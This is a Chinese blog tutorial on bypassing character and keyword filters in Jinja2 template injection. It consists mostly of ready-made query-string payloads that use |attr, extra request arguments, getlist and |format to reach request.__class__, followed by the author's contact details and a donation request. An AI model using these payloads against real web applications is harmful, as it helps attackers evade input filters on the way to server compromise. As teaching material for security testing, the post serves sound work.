原理
首先以jinja2模板注入為例:
{{request[request.args.param]}} 可以用 {{request|attr(request.args.param)}} 替代繞過"["、"]"過濾
繞過的方式也就是同義語句轉化,下面給出其他的替換繞過"_"字符:
?exp={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&usc=_&class=class
等同于 ?exp={{request|attr(["_"*2,"class","_"*2]|join)}}
等同于 ?exp={{request|attr(["__","class","__"]|join)}}
等同于 ?exp={{request|attr("__class__")}}
等同于 ?exp={{request.__class__}}
下面給出一些繞過姿勢,假如頁面本身注入參數為exploit,想注入的的語句為request.__class__
①繞過 "]"、"["、"_"、class等關鍵字
使用元組( )和通過傳遞另外的參數
?exploit={{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&usc=_&class=class
使用.getlist()優化(能夠繞過",")
{{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
②繞過"|join"
使用|format函數,可以通過傳入格式字符串%s,再傳入字符,來進行替換
?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a)|join
)}}&f=%s%sclass%s%s&a=_
更多文章、技術交流、商務合作、聯系博主
微信掃碼或搜索:z360901061

微信掃一掃加我為好友
QQ號聯系: 360901061
您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點擊下面給點支持吧,站長非常感激您!手機微信長按不能支付解決辦法:請將微信支付二維碼保存到相冊,切換到微信,然后點擊微信右上角掃一掃功能,選擇支付二維碼完成支付。
【本文對您有幫助就好】元
